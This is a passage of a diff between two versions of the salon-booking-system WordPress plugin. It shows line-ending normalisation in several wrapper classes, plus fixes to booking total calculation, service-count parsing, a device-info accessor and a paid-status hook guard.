\u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FWrapper\u002FBookingAvailabilities.php\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FWrapper\u002FBookingAvailabilities.php\t2026-04-21 18:43:56.000000000 +0000\n@@ -1,33 +1,33 @@\n-\u003C?php\r\n-\r\n-class SLN_Wrapper_Availabilities\r\n-{\r\n-    protected $items;\r\n-\r\n-    public function __construct($data)\r\n-    {\r\n-        foreach ($data as $row) {\r\n-            $this->items = new SLN_Wrapper_Availability($row);\r\n-        }\r\n-    }\r\n-\r\n-    public function getItems()\r\n-    {\r\n-        return $this->items;\r\n-    }\r\n-\r\n-    public function toArray()\r\n-    {\r\n-        $ret = array();\r\n-        foreach ($this->items as $item) {\r\n-            $ret[] = $item->toArray();\r\n-        }\r\n-\r\n-        return $ret;\r\n-    }\r\n-\r\n-    public function toStrings()\r\n-    {\r\n-\r\n-    }\r\n+\u003C?php\n+\n+class SLN_Wrapper_Availabilities\n+{\n+    protected $items;\n+\n+    public function __construct($data)\n+    {\n+        foreach ($data as $row) {\n+            $this->items = new SLN_Wrapper_Availability($row);\n+        }\n+    }\n+\n+    public function getItems()\n+    {\n+        return $this->items;\n+    }\n+\n+    public function toArray()\n+    {\n+        $ret = array();\n+        foreach ($this->items as $item) {\n+            $ret[] = $item->toArray();\n+        }\n+\n+        return $ret;\n+    }\n+\n+    public function toStrings()\n+    {\n+\n+    }\n }\n\\ No newline at end of file\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FWrapper\u002FBookingAvailability.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FWrapper\u002FBookingAvailability.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FWrapper\u002FBookingAvailability.php\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FWrapper\u002FBookingAvailability.php\t2026-04-21 18:43:56.000000000 +0000\n@@ -1,21 +1,21 @@\n-\u003C?php\r\n-\r\n-class SLN_Wrapper_Availability\r\n-{\r\n-    protected $data;\r\n-\r\n-    public function __construct($data)\r\n-    {\r\n-        $this->data = $data;\r\n-    }\r\n-\r\n-    public function toArray()\r\n-    {\r\n-        return $this->data;\r\n-    }\r\n-\r\n-    public function getIntervals()\r\n-    {\r\n-\r\n-    }\r\n+\u003C?php\n+\n+class SLN_Wrapper_Availability\n+{\n+    protected $data;\n+\n+    public function __construct($data)\n+    {\n+        $this->data = $data;\n+    }\n+\n+    public function toArray()\n+    {\n+        return $this->data;\n+    }\n+\n+    public function getIntervals()\n+    {\n+\n+    }\n }\n\\ No newline at end of file\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FWrapper\u002FBooking.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FWrapper\u002FBooking.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FWrapper\u002FBooking.php\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FWrapper\u002FBooking.php\t2026-04-21 18:43:56.000000000 +0000\n@@ -234,6 +234,11 @@\n \n         $amount = 0;\n \n+        \u002F\u002F Rebuild line items from post meta on every total calculation. Cached SLN_Wrapper_Booking_Service\n+        \u002F\u002F objects can carry mutated prices (e.g. prepaid credits zeroing a line) across multiple evalTotal()\n+        \u002F\u002F calls in the same request; stale cache caused wrong totals when tips or other meta changed later.\n+        $this->bookingServices = null;\n+\n         SLN_Plugin::addLog(__CLASS__ . ' eval total of' . $this->getId());\n         \n         \u002F\u002F Check for prepaid services (package credits)\n@@ -295,16 +300,27 @@\n         $bookingServices = apply_filters('sln.calc_booking_total.apply_prepaid_services', $this->getBookingServices(), $this);\n \n         foreach ($bookingServices->getItems() as $bookingService) {\n-            if(isset($bookingService->toArray()['service'])){\n-                $variable = get_post_meta($bookingService->toArray()['service'],'_sln_service_variable_duration', true);\n-            }\n-            if($variable){\n-                $price = $bookingService->getPrice() * $bookingService->getCountServices();\n-            } else {\n-                $price = $bookingService->getPrice();\n+            $row = $bookingService->toArray();\n+            $rawVar = isset($row['service'])\n+                ? get_post_meta((int) $row['service'], '_sln_service_variable_duration', true)\n+                : false;\n+            \u002F\u002F Only explicit boolean truthy meta (WP checkboxes: '1'); stray values like \"-1\" must not enable variable pricing.\n+            $vb = is_scalar($rawVar) || $rawVar === null\n+                ? filter_var($rawVar, FILTER_VALIDATE_BOOLEAN, FILTER_NULL_ON_FAILURE)\n+                : false;\n+            $variable = $vb === true;\n+\n+            $unit = (float) $bookingService->getPrice();\n+            $qty  = max(1, (int) $bookingService->getCountServices());\n+            $line = $variable ? ( $unit * $qty ) : $unit;\n+\n+            \u002F\u002F Corrupt meta (e.g. negative quantity) must never make a positive-priced service subtract from the total when tips are added.\n+            if ($unit >= 0.0 && $line \u003C 0.0) {\n+                $line = abs($unit) * ( $variable ? $qty : 1 );\n             }\n-            $amount += $price;\n-            SLN_Plugin::addLog(' - service ' . $bookingService->getService() . ' +' . $price);\n+\n+            $amount += $line;\n+            SLN_Plugin::addLog(' - service ' . $bookingService->getService() . ' +' . $line);\n         }\n \n         if ($settings->get('enable_booking_tax_calculation') && 'inclusive' !== $settings->get('enter_tax_price')) {\n@@ -485,6 +501,18 @@\n         return is_array($transactions) ? $transactions : ($transactions ? array($transactions) : array());\n     }\n \n+    \u002F**\n+     * Return device \u002F browser info captured at booking creation time.\n+     *\n+     * @return array|null  Keys: user_agent, ip, parsed (platform\u002Fos\u002Fbrowser), captured_at.\n+     *                     Returns null for bookings created before device-capture was added.\n+     *\u002F\n+    function getDeviceInfo()\n+    {\n+        $info = get_post_meta( $this->getId(), '_sln_booking_device_info', true );\n+        return is_array( $info ) && ! empty( $info ) ? $info : null;\n+    }\n+\n     function getStartsAt( $timezone='' )\n     {\n \t\tif($timezone)\n@@ -584,6 +612,8 @@\n             $this->getStatus(),\n             $transactionId\n         ));\n+\n+        $wasPaid = in_array($this->getStatus(), [SLN_Enum_BookingStatus::PAID, SLN_Enum_BookingStatus::CONFIRMED]);\n         \n         $transactions = $this->getTransactionId();\n         \n@@ -632,7 +662,9 @@\n             ));\n         }\n \n-\tdo_action('sln_booking_mark_paid_after', $this);\n+        if (!$wasPaid) {\n+            do_action('sln_booking_mark_paid_after', $this);\n+        }\n     }\n \n     public function getPayUrl($isPayRemainingAmount = false)\n@@ -798,7 +830,12 @@\n \n     public function getCountService($service_id){\n         $services = $this->getMeta('service_count');\n-        return (!empty($services) && isset($services[$service_id])) ? $services[$service_id] : 1;\n+        if (empty($services) || ! isset($services[$service_id])) {\n+            return 1;\n+        }\n+        $c = (int) $services[$service_id];\n+\n+        return $c > 0 ? $c : 1;\n     }\n \n     function getPaidRemainedAmount() {\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FWrapper\u002FResource.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FWrapper\u002FResource.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FWrapper\u002FResource.php\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FWrapper\u002FResource.php\t2026-04-21 18:43:56.000000000 +0000\n@@ -1,37 +1,37 @@\n-\u003C?php\r\n-\r\n-class SLN_Wrapper_Resource extends SLN_Wrapper_Abstract implements SLN_Wrapper_ResourceInterface\r\n-{\r\n-    const _CLASS = 'SLN_Wrapper_Resource';\r\n-\r\n-    public function getPostType()\r\n-    {\r\n-        return SLN_Plugin::POST_TYPE_RESOURCE;\r\n-    }\r\n-\r\n-    function getUnitPerHour()\r\n-    {\r\n-        $ret = $this->getMeta('unit');\r\n-        $ret = !is_numeric($ret) ? null : intval($ret);\r\n-\r\n-        return $ret;\r\n-    }\r\n-\r\n-    function getEnabled()\r\n-    {\r\n-        $ret = $this->getMeta('enabled');\r\n-        return $ret !== '' ? (bool)$ret : true;\r\n-    }\r\n-\r\n-    function getServices()\r\n-    {\r\n-        $ret = $this->getMeta('services');\r\n-        return is_array($ret) ? array_filter(array_map('intval', $ret)) : array();\r\n-    }\r\n-\r\n-    public function __toString()\r\n-    {\r\n-        return $this->getTitle();\r\n-    }\r\n-\r\n-}\r\n+\u003C?php\n+\n+class SLN_Wrapper_Resource extends SLN_Wrapper_Abstract implements SLN_Wrapper_ResourceInterface\n+{\n+    const _CLASS = 'SLN_Wrapper_Resource';\n+\n+    public function getPostType()\n+    {\n+        return SLN_Plugin::POST_TYPE_RESOURCE;\n+    }\n+\n+    function getUnitPerHour()\n+    {\n+        $ret = $this->getMeta('unit');\n+        $ret = !is_numeric($ret) ? null : intval($ret);\n+\n+        return $ret;\n+    }\n+\n+    function getEnabled()\n+    {\n+        $ret = $this->getMeta('enabled');\n+        return $ret !== '' ? (bool)$ret : true;\n+    }\n+\n+    function getServices()\n+    {\n+        $ret = $this->getMeta('services');\n+        return is_array($ret) ? array_filter(array_map('intval', $ret)) : array();\n+    }\n+\n+    public function __toString()\n+    {\n+        return $this->getTitle();\n+    }\n+\n+}\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FWrapper\u002FService.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FWrapper\u002FService.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FWrapper\u002FService.php\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FWrapper\u002FService.php\t2026-04-21 18:43:56.000000000 +0000\n@@ -1,311 +1,311 @@\n-\u003C?php\r\n-\r\n-class SLN_Wrapper_Service extends SLN_Wrapper_Abstract implements SLN_Wrapper_ServiceInterface\r\n-{\r\n-    const _CLASS = 'SLN_Wrapper_Service';\r\n-\r\n-    private $availabilityItems;\r\n-    private $attendants;\r\n-\r\n-    public function getPostType()\r\n-    {\r\n-        return SLN_Plugin::POST_TYPE_SERVICE;\r\n-    }\r\n-\r\n-    function getPrice()\r\n-    {\r\n-        $ret = $this->getMeta('price');\r\n-        $ret = empty($ret) ? 0 : floatval($ret);\r\n-        $settings = SLN_Plugin::getInstance()->getSettings();\r\n-\r\n-        return $ret;\r\n-    }\r\n-\r\n-\r\n-    function getUnitPerHour()\r\n-    {\r\n-        $ret = $this->getMeta('unit');\r\n-        $ret = empty($ret) ? 0 : intval($ret);\r\n-\r\n-        return $ret;\r\n-    }\r\n-\r\n-    \u002F**\r\n-     * Get maximum units a customer can select for variable duration\r\n-     * Falls back to getUnitPerHour() for backward compatibility\r\n-     * \r\n-     * @return int\r\n-     *\u002F\r\n-    function getMaxVariableDuration()\r\n-    {\r\n-        $ret = $this->getMeta('max_variable_duration');\r\n-        \r\n-        \u002F\u002F If not set, fall back to unit value for backward compatibility\r\n-        if (empty($ret)) {\r\n-            return $this->getUnitPerHour();\r\n-        }\r\n-        \r\n-        return intval($ret);\r\n-    }\r\n-\r\n-    function getDuration()\r\n-    {\r\n-        $settings = SLN_Plugin::getInstance()->getSettings();\r\n-        $ret = $this->getMeta('duration');\r\n-        if (empty($ret) || 'basic' === $settings->getAvailabilityMode()) {\r\n-            $ret = '00:00';\r\n-        }\r\n-        $ret = SLN_Func::filter($ret, 'time');\r\n-        $ret = SLN_Func::getMinutesFromDuration($ret)*60;\r\n-        $date = new SLN_DateTime('@'.$ret);\r\n-\r\n-        return $date;\r\n-    }\r\n-\r\n-    function getBreakDuration()\r\n-    {\r\n-        $ret = $this->getMeta('break_duration');\r\n-        if (empty($ret)) {\r\n-            $ret = '00:00';\r\n-        }\r\n-\r\n-        if(intval($ret) == $ret){\r\n-            $ret = intval($ret);\r\n-            $ret = SLN_Func::filter(floor($ret\u002F60). ':'. $ret%60, 'time');\r\n-        }else{\r\n-            $ret = SLN_Func::filter($ret, 'time');\r\n-        }\r\n-\r\n-        return new SLN_DateTime('1970-01-01 '.$ret);\r\n-    }\r\n-\r\n-    function getTotalDuration()\r\n-    {\r\n-        $duration = $this->getDuration();\r\n-        $break    = $this->getBreakDuration();\r\n-        return new SLN_DateTime('1970-01-01 '.SLN_Func::convertToHoursMins(SLN_Func::getMinutesFromDuration($duration->format('H:i')) + SLN_Func::getMinutesFromDuration($break->format('H:i'))));\r\n-    }\r\n-\r\n-    function isSecondary()\r\n-    {\r\n-        $ret = $this->getMeta('secondary');\r\n-        $ret = empty($ret) ? false : ($ret ? true : false);\r\n-\r\n-        return $ret;\r\n-    }\r\n-\r\n-    function isExclusive()\r\n-    {\r\n-        $ret = $this->getMeta('exclusive');\r\n-        $ret = empty($ret) ? false : ($ret ? true : false);\r\n-\r\n-        return $ret;\r\n-    }\r\n-\r\n-    function isHideOnFrontend()\r\n-    {\r\n-        $ret = $this->getMeta('hide_on_frontend');\r\n-        $ret = empty($ret) ? false : ($ret ? true : false);\r\n-\r\n-        return $ret;\r\n-    }\r\n-\r\n-    function getPosOrder()\r\n-    {\r\n-        $ret = $this->getMeta('order');\r\n-        $ret     = empty($ret) ? 0 : $ret;\r\n-\r\n-        return $ret;\r\n-    }\r\n-\r\n-    function getExecOrder()\r\n-    {\r\n-        $ret = $this->getMeta('exec_order');\r\n-        $ret = empty($ret) || 1 > $ret || 10 \u003C $ret ? 1 : $ret;\r\n-\r\n-        return $ret;\r\n-    }\r\n-\r\n-    public function getAttendantsIds()\r\n-    {\r\n-        $ret = array();\r\n-        foreach ($this->getAttendants() as $attendant) {\r\n-            $ret[] = $attendant->getId();\r\n-        }\r\n-\r\n-        return $ret;\r\n-    }\r\n-\r\n-    \u002F**\r\n-     * @return SLN_Wrapper_Attendant[]\r\n-     *\u002F\r\n-    public function getAttendants()\r\n-    {\r\n-        if(!isset($this->attendants)) {\r\n-            if ($this->isAttendantsEnabled()) {\r\n-                \u002F** @var SLN_Repository_AttendantRepository $repo *\u002F\r\n-                $repo = SLN_Plugin::getInstance()->getRepository(SLN_Plugin::POST_TYPE_ATTENDANT);\r\n-\r\n-                $this->attendants = $repo->findByService($this);\r\n-            } else {\r\n-                $this->attendants = array();\r\n-            }\r\n-        }\r\n-        return $this->attendants;\r\n-    }\r\n-\r\n-    public function isAttendantsEnabled() {\r\n-        $ret = $this->getMeta('attendants');\r\n-        $ret     = empty($ret) ? 1 : !$ret;\r\n-\r\n-        return $ret;\r\n-    }\r\n-\r\n-\tpublic function isExecutionParalleled() {\r\n-\t\t$ret = $this->getMeta('parallel_exec');\r\n-\t\t$ret = empty($ret) ? false : ($ret ? true : false);\r\n-\r\n-\t\treturn $ret;\r\n-\t}\r\n-\r\n-    function isNotAvailableOnDate(SLN_DateTime $date)\r\n-    {\r\n-        $ret = !$this->getAvailabilityItems()->isValidDatetimeDuration($date, $this->getDuration());\r\n-        return $ret;\r\n-    }\r\n-\r\n-    public function isMultipleAttendantsForServiceEnabled(){\r\n-        $res = $this->getMeta('multiple_attendants_for_service');\r\n-        return (!empty($res) && defined('SLN_VERSION_PAY')) ? $res : false;\r\n-    }\r\n-\r\n-    public function getCountMultipleAttendants(){\r\n-        $res = $this->getMeta('multiple_count_attendants');\r\n-        return !empty($res) ? intval($res) : 1;\r\n-    }\r\n-\r\n-    public function getNotAvailableString()\r\n-    {\r\n-        return implode('\u003Cbr\u002F>',$this->getAvailabilityItems()->toArray());\r\n-    }\r\n-\r\n-    public function getName()\r\n-    {\r\n-        $object = SLN_Helper_Multilingual::isMultilingual()  ? $this->translationObject : $this->object;\r\n-        if ($object) {\r\n-            return $this->getTitle();\r\n-        } else {\r\n-            return 'n.d.';\r\n-        }\r\n-    }\r\n-\r\n-    public function getContent()\r\n-    {\r\n-        $object = SLN_Helper_Multilingual::isMultilingual()  ? $this->translationObject : $this->object;\r\n-        if ($object) {\r\n-            if(isset($object->post_excerpt))\r\n-            return $object->post_excerpt;\r\n-        }\r\n-    }\r\n-\r\n-    public function __toString()\r\n-    {\r\n-        return $this->getName();\r\n-    }\r\n-\r\n-    public function isOffsetEnabled(){\r\n-        $ret = $this->getMeta('offset_for_service');\r\n-        return !empty($ret) && isset($ret) && $ret && defined('SLN_VERSION_PAY') && SLN_VERSION_PAY;\r\n-    }\r\n-\r\n-    public function getOffsetInterval(){\r\n-        $ret = $this->getMeta('offset_for_service_interval');\r\n-        if($this->isOffsetEnabled() && !$this->isLockEnabled()){\r\n-            return !empty($ret) ? intval($ret) : 0;\r\n-        }\r\n-        return 0;\r\n-    }\r\n-\r\n-    public function isLockEnabled(){\r\n-        $ret = $this->getMeta('lock_for_service');\r\n-        return !empty($ret) && isset($ret) && $ret && defined('SLN_VERSION_PAY') && SLN_VERSION_PAY;\r\n-    }\r\n-\r\n-    public function getLockInterval(){\r\n-        if(!$this->isLockEnabled())\r\n-            return 0;\r\n-        $ret = $this->getMeta('lock_for_service_interval');\r\n-        return !empty($ret) ? intval($ret) * 60 : 0;\r\n-\r\n-    }\r\n-\r\n-    \u002F**\r\n-     * @return SLN_Helper_AvailabilityItems\r\n-     *\u002F\r\n-    function getAvailabilityItems()\r\n-    {\r\n-        if (!isset($this->availabilityItems)) {\r\n-            $this->availabilityItems = new SLN_Helper_AvailabilityItems($this->getMeta('availabilities'));\r\n-        }\r\n-        return $this->availabilityItems;\r\n-    }\r\n-\r\n-    function getServiceCategory()\r\n-    {\r\n-        $post_terms = get_the_terms($this->getId(), SLN_Plugin::TAXONOMY_SERVICE_CATEGORY);\r\n-\r\n-        if ($post_terms) {\r\n-            return new SLN_Wrapper_ServiceCategory($post_terms[0]);\r\n-        }\r\n-\r\n-        return null;\r\n-    }\r\n-\r\n-    function getBreakDurationData()\r\n-    {\r\n-        $ret = $this->getMeta('break_duration_data');\r\n-        if (empty($ret)) {\r\n-            $ret = array(\r\n-                'from' => 0,\r\n-                'to'   => SLN_Func::getMinutesFromDuration($this->getBreakDuration())\r\n-            );\r\n-        }\r\n-\r\n-        return $ret;\r\n-    }\r\n-\r\n-    function getVariablePriceEnabled() {\r\n-        return defined(\"SLN_VERSION_PAY\") ? $this->getMeta('variable_price_enabled') && !$this->isMultipleAttendantsForServiceEnabled() : false;\r\n-    }\r\n-\r\n-    function getVariablePrice($id) {\r\n-        $prices = $this->getMeta('variable_price') ? $this->getMeta('variable_price') : array();\r\n-        if($this->isMultipleAttendantsForServiceEnabled()){\r\n-            return $this->getPrice();\r\n-        }\r\n-        $price = isset($prices[$id]) && !empty($prices[$id]) ? $prices[$id] : $this->getPrice();\r\n-        return $price;\r\n-    }\r\n-\r\n-    function isVariableDuration()\r\n-    {\r\n-        $ret = $this->getMeta('variable_duration');\r\n-        $ret = empty($ret) ? false : ($ret ? true : false);\r\n-\r\n-        return defined(\"SLN_VERSION_PAY\") ? $ret : false;\r\n-    }\r\n-\r\n-    \u002F**\r\n-     * @return SLN_Wrapper_Resource[]\r\n-     *\u002F\r\n-    public function getResources()\r\n-    {\r\n-        if(!isset($this->resources)) {\r\n-            \u002F** @var SLN_Repository_ResourceRepository $repo *\u002F\r\n-            $repo = SLN_Plugin::getInstance()->getRepository(SLN_Plugin::POST_TYPE_RESOURCE);\r\n-            $this->resources = $repo->findByService($this);\r\n-        }\r\n-        return $this->resources;\r\n-    }\r\n-\r\n-}\r\n+\u003C?php\n+\n+class SLN_Wrapper_Service extends SLN_Wrapper_Abstract implements SLN_Wrapper_ServiceInterface\n+{\n+    const _CLASS = 'SLN_Wrapper_Service';\n+\n+    private $availabilityItems;\n+    private $attendants;\n+\n+    public function getPostType()\n+    {\n+        return SLN_Plugin::POST_TYPE_SERVICE;\n+    }\n+\n+    function getPrice()\n+    {\n+        $ret = $this->getMeta('price');\n+        $ret = empty($ret) ? 0 : floatval($ret);\n+        $settings = SLN_Plugin::getInstance()->getSettings();\n+\n+        return $ret;\n+    }\n+\n+\n+    function getUnitPerHour()\n+    {\n+        $ret = $this->getMeta('unit');\n+        $ret = empty($ret) ? 0 : intval($ret);\n+\n+        return $ret;\n+    }\n+\n+    \u002F**\n+     * Get maximum units a customer can select for variable duration\n+     * Falls back to getUnitPerHour() for backward compatibility\n+     * \n+     * @return int\n+     *\u002F\n+    function getMaxVariableDuration()\n+    {\n+        $ret = $this->getMeta('max_variable_duration');\n+        \n+        \u002F\u002F If not set, fall back to unit value for backward compatibility\n+        if (empty($ret)) {\n+            return $this->getUnitPerHour();\n+        }\n+        \n+        return intval($ret);\n+    }\n+\n+    function getDuration()\n+    {\n+        $settings = SLN_Plugin::getInstance()->getSettings();\n+        $ret = $this->getMeta('duration');\n+        if (empty($ret) || 'basic' === $settings->getAvailabilityMode()) {\n+            $ret = '00:00';\n+        }\n+        $ret = SLN_Func::filter($ret, 'time');\n+        $ret = SLN_Func::getMinutesFromDuration($ret)*60;\n+        $date = new SLN_DateTime('@'.$ret);\n+\n+        return $date;\n+    }\n+\n+    function getBreakDuration()\n+    {\n+        $ret = $this->getMeta('break_duration');\n+        if (empty($ret)) {\n+            $ret = '00:00';\n+        }\n+\n+        if(intval($ret) == $ret){\n+            $ret = intval($ret);\n+            $ret = SLN_Func::filter(floor($ret\u002F60). ':'. $ret%60, 'time');\n+        }else{\n+            $ret = SLN_Func::filter($ret, 'time');\n+        }\n+\n+        return new SLN_DateTime('1970-01-01 '.$ret);\n+    }\n+\n+    function getTotalDuration()\n+    {\n+        $duration = $this->getDuration();\n+        $break    = $this->getBreakDuration();\n+        return new SLN_DateTime('1970-01-01 '.SLN_Func::convertToHoursMins(SLN_Func::getMinutesFromDuration($duration->format('H:i')) + SLN_Func::getMinutesFromDuration($break->format('H:i'))));\n+    }\n+\n+    function isSecondary()\n+    {\n+        $ret = $this->getMeta('secondary');\n+        $ret = empty($ret) ? false : ($ret ? true : false);\n+\n+        return $ret;\n+    }\n+\n+    function isExclusive()\n+    {\n+        $ret = $this->getMeta('exclusive');\n+        $ret = empty($ret) ? false : ($ret ? true : false);\n+\n+        return $ret;\n+    }\n+\n+    function isHideOnFrontend()\n+    {\n+        $ret = $this->getMeta('hide_on_frontend');\n+        $ret = empty($ret) ? false : ($ret ? true : false);\n+\n+        return $ret;\n+    }\n+\n+    function getPosOrder()\n+    {\n+        $ret = $this->getMeta('order');\n+        $ret     = empty($ret) ? 0 : $ret;\n+\n+        return $ret;\n+    }\n+\n+    function getExecOrder()\n+    {\n+        $ret = $this->getMeta('exec_order');\n+        $ret = empty($ret) || 1 > $ret || 10 \u003C $ret ? 1 : $ret;\n+\n+        return $ret;\n+    }\n+\n+    public function getAttendantsIds()\n+    {\n+        $ret = array();\n+        foreach ($this->getAttendants() as $attendant) {\n+            $ret[] = $attendant->getId();\n+        }\n+\n+        return $ret;\n+    }\n+\n+    \u002F**\n+     * @return SLN_Wrapper_Attendant[]\n+     *\u002F\n+    public function getAttendants()\n+    {\n+        if(!isset($this->attendants)) {\n+            if ($this->isAttendantsEnabled()) {\n+                \u002F** @var SLN_Repository_AttendantRepository $repo *\u002F\n+                $repo = SLN_Plugin::getInstance()->getRepository(SLN_Plugin::POST_TYPE_ATTENDANT);\n+\n+                $this->attendants = $repo->findByService($this);\n+            } else {\n+                $this->attendants = array();\n+            }\n+        }\n+        return $this->attendants;\n+    }\n+\n+    public function isAttendantsEnabled() {\n+        $ret = $this->getMeta('attendants');\n+        $ret     = empty($ret) ? 1 : !$ret;\n+\n+        return $ret;\n+    }\n+\n+\tpublic function isExecutionParalleled() {\n+\t\t$ret = $this->getMeta('parallel_exec');\n+\t\t$ret = empty($ret) ? false : ($ret ? true : false);\n+\n+\t\treturn $ret;\n+\t}\n+\n+    function isNotAvailableOnDate(SLN_DateTime $date)\n+    {\n+        $ret = !$this->getAvailabilityItems()->isValidDatetimeDuration($date, $this->getDuration());\n+        return $ret;\n+    }\n+\n+    public function isMultipleAttendantsForServiceEnabled(){\n+        $res = $this->getMeta('multiple_attendants_for_service');\n+        return (!empty($res) && defined('SLN_VERSION_PAY')) ? $res : false;\n+    }\n+\n+    public function getCountMultipleAttendants(){\n+        $res = $this->getMeta('multiple_count_attendants');\n+        return !empty($res) ? intval($res) : 1;\n+    }\n+\n+    public function getNotAvailableString()\n+    {\n+        return implode('\u003Cbr\u002F>',$this->getAvailabilityItems()->toArray());\n+    }\n+\n+    public function getName()\n+    {\n+        $object = SLN_Helper_Multilingual::isMultilingual()  ? $this->translationObject : $this->object;\n+        if ($object) {\n+            return $this->getTitle();\n+        } else {\n+            return 'n.d.';\n+        }\n+    }\n+\n+    public function getContent()\n+    {\n+        $object = SLN_Helper_Multilingual::isMultilingual()  ? $this->translationObject : $this->object;\n+        if ($object) {\n+            if(isset($object->post_excerpt))\n+            return $object->post_excerpt;\n+        }\n+    }\n+\n+    public function __toString()\n+    {\n+        return $this->getName();\n+    }\n+\n+    public function isOffsetEnabled(){\n+        $ret = $this->getMeta('offset_for_service');\n+        return !empty($ret) && isset($ret) && $ret && defined('SLN_VERSION_PAY') && SLN_VERSION_PAY;\n+    }\n+\n+    public function getOffsetInterval(){\n+        $ret = $this->getMeta('offset_for_service_interval');\n+        if($this->isOffsetEnabled() && !$this->isLockEnabled()){\n+            return !empty($ret) ? intval($ret) : 0;\n+        }\n+        return 0;\n+    }\n+\n+    public function isLockEnabled(){\n+        $ret = $this->getMeta('lock_for_service');\n+        return !empty($ret) && isset($ret) && $ret && defined('SLN_VERSION_PAY') && SLN_VERSION_PAY;\n+    }\n+\n+    public function getLockInterval(){\n+        if(!$this->isLockEnabled())\n+            return 0;\n+        $ret = $this->getMeta('lock_for_service_interval');\n+        return !empty($ret) ? intval($ret) * 60 : 0;\n+\n+    }\n+\n+    \u002F**\n+     * @return SLN_Helper_AvailabilityItems\n+     *\u002F\n+    function getAvailabilityItems()\n+    {\n+        if (!isset($this->availabilityItems)) {\n+            $this->availabilityItems = new SLN_Helper_AvailabilityItems($this->getMeta('availabilities'));\n+        }\n+        return $this->availabilityItems;\n+    }\n+\n+    function getServiceCategory()\n+    {\n+        $post_terms = get_the_terms($this->getId(), SLN_Plugin::TAXONOMY_SERVICE_CATEGORY);\n+\n+        if ($post_terms) {\n+            return new SLN_Wrapper_ServiceCategory($post_terms[0]);\n+        }\n+\n+        return null;\n+    }\n+\n+    function getBreakDurationData()\n+    {\n+        $ret = $this->getMeta('break_duration_data');\n+        if (empty($ret)) {\n+            $ret = array(\n+                'from' => 0,\n+                'to'   => SLN_Func::getMinutesFromDuration($this->getBreakDuration())\n+            );\n+        }\n+\n+        return $ret;\n+    }\n+\n+    function getVariablePriceEnabled() {\n+        return defined(\"SLN_VERSION_PAY\") ? $this->getMeta('variable_price_enabled') && !$this->isMultipleAttendantsForServiceEnabled() : false;\n+    }\n+\n+    function getVariablePrice($id) {\n+        $prices = $this->getMeta('variable_price') ? $this->getMeta('variable_price') : array();\n+        if($this->isMultipleAttendantsForServiceEnabled()){\n+            return $this->getPrice();\n+        }\n+        $price = isset($prices[$id]) && !empty($prices[$id]) ? $prices[$id] : $this->getPrice();\n+        return $price;\n+    }\n+\n+    function isVariableDuration()\n+    {\n+        $ret = $this->getMeta('variable_duration');\n+        $ret = empty($ret) ? false : ($ret ? true : false);\n+\n+        return defined(\"SLN_VERSION_PAY\") ? $ret : false;\n+    }\n+\n+    \u002F**\n+     * @return SLN_Wrapper_Resource[]\n+     *\u002F\n+    public function getResources()\n+    {\n+        if(!isset($this->resources)) {\n+            \u002F** @var SLN_Repository_ResourceRepository $repo *\u002F\n+            $repo = SLN_Plugin::getInstance()->getRepository(SLN_Plugin::POST_TYPE_RESOURCE);\n+            $this->resources = $repo->findByService($this);\n+        }\n+        return $this->resources;\n+    }\n+\n+}\ndiff -ru 